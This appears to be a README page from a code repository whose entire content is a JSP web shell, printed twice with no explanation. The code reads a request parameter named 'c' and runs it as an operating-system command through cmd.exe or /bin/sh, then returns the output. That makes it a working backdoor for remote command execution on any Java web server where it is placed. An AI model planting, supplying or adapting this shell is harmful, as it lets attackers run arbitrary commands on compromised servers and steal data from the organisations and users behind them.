README.md
Rendering markdown...
<%@ page import="java.io.*" %>
<%@ page import="java.lang.System" %>
<%@ page import="java.lang.Process" %>
<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.InputStreamReader"%>
<%@page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%!
String Execute(String cmd){
StringBuffer sb=new StringBuffer("");
try{
Process child;
if(System.getProperty("os.name").toLowerCase().startsWith("win")){
child = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
}else{
child = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
}
BufferedReader br = new BufferedReader(new InputStreamReader(child.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
return sb.toString();
}
%>
<%
String cmd = request.getParameter("c"); //cmd
//do execute cmd
if(cmd != null){
out.print(Execute(cmd));
}
%>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.System" %>
<%@ page import="java.lang.Process" %>
<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.InputStreamReader"%>
<%@page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%!
String Execute(String cmd){
StringBuffer sb=new StringBuffer("");
try{
Process child;
if(System.getProperty("os.name").toLowerCase().startsWith("win")){
child = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
}else{
child = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
}
BufferedReader br = new BufferedReader(new InputStreamReader(child.getInputStream()));
String line;
while ((line = br.readLine()) != null) { sb.append(line).append("\n");
}
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
return sb.toString();
}
%>
<%
String cmd = request.getParameter("c");
//do execute cmd
if(cmd != null){
out.print(Execute(cmd));
}